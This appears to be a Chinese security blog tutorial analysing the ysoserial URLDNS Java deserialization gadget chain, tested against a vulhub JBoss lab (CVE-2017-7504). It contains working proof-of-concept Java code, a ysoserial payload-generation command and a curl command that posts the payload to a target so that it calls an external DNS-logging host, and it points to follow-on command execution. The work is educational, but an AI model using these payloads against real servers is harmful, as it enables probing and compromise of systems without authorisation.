JAVA反序列化漏洞-ysoserial-URLDNS链分析
一、前言
对于进行反序列化漏洞原理的学习,URLDNS这条链比较好理解,对后续学习打个基础,URLDNS也是经常用于验证Java反序列化漏洞是否存在,验证服务主机是否出网等情况,为了后期进一步有效性的利用。让我们开始学习吧!
二、URLDNS利用链复现
2.1 利用链
* Gadget Chain: * HashMap.readObject() * HashMap.putVal() * HashMap.hash() * URL.hashCode()
2.2 利用过程
java.util.HashMap实现了Serializable接口,重写了readObject, 在反序列化时会调用hash函数计算key的hashCode,而java.net.URL的hashCode在计算时会调用getHostAddress来解析域名, 从而发出DNS请求。
2.3 利用过程原理详解
我们通过查看HashMap源码我们可以发现,继承Serializable,HashMap是可以进行序列化的,这先满足最基本的要求。
HashMap重写了readObject方法,就可以深入看readObject方法调用了哪些可以利用的点。
readObejct方法会调用putVal(hash(key)),hash传递key值,会执行key的hashCode()方法,所以如果这里传递的是URL对象,就会执行URL对象的hashCode方法。
那我们来看看java.net.URL类的hashCode方法是怎么实现DNS解析的。URL的hashCode会调用getHostAddress,getHostAddress会一步步调用到getAddressesFromNameService方法,循环调用nameService的lookupAllHostAddr方法,直到找到地址,lookup就是进行DNS解析,这样当执行了URL的hashCode方法就会进行DNS请求,就是整个源码调用步骤。
2.4 构造poc
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
public class main2 {
public static void main(String[] args) throws MalformedURLException, NoSuchFieldException, IllegalAccessException {
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
URL url = new URL("http://6e4e7cc3.dnslog.store");
Class<? extends URL> aClass = url.getClass();
// 由于url到的hashCode的值默认为-1,所以我们需要借助反射,修改它的值不为-1,让其在反序列化时不发起请求,在put后再把hashCode的值改为-1,让其在反序列化时能够发起请求,这样就可以确定反序列化漏洞是否存在了。
Field hashCode = aClass.getDeclaredField("hashCode");
// 由于hashCode是私有属性,所以需要绕过权限控制检查
hashCode.setAccessible(true);
// 设置hashCode的值为1,让其在put的时候不去进行DNS请求
hashCode.set(url, 1);
objectObjectHashMap.put(url, 1);
// put后再把hashCode的值改为-1,让其能够在反序列化时进行DNS请求
hashCode.set(url, -1);
try {
FileOutputStream fileOutputStream = new FileOutputStream("urlser.bin");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(objectObjectHashMap);
objectOutputStream.close();
fileOutputStream.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
这里说明一下为什么要使用反射去修改hashCode的默认值,由于url到的hashCode的值默认为-1,所以我们需要借助反射,修改它的值不为-1,让其在反序列化时不发起请求,在put后再把hashCode的值改为-1,让其在反序列化时能够发起请求,这样就可以确定反序列化漏洞是否存在了。
2.5 反序列化加载poc
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class execUrlDns {
public static void main(String[] args) throws IOException, ClassNotFoundException {
FileInputStream fileInputStream = new FileInputStream("urlser.bin");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
objectInputStream.readObject();
objectInputStream.close();
fileInputStream.close();
}
}
2.6 URLDNS poc 验证 CVE Java反序列化漏洞
学了这么多原理,怎么运用于实际,这里我用vulhub里的实验环境来验证,用urldns的poc来验证java反序列化漏洞的存在,JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)
# vulhub官网,使用docker快速搭建实验环境、漏洞复现https://vulhub.org/#/environments/jboss/CVE-2017-7504/
# ysoserial 生成 urldns poc
java -jar ysoserial-all.jar URLDNS "http://6c06f25b.dnslog.biz." > 2.ser
# 发送poc
curl http://192.168.1.3:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @2.ser --output 1
可以看到dnslog.org平台上已经有dns响应,证明存在java反序列化漏洞,再可以根据漏洞进一步使用cc1远程命令执行进行利用。
免责声明
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。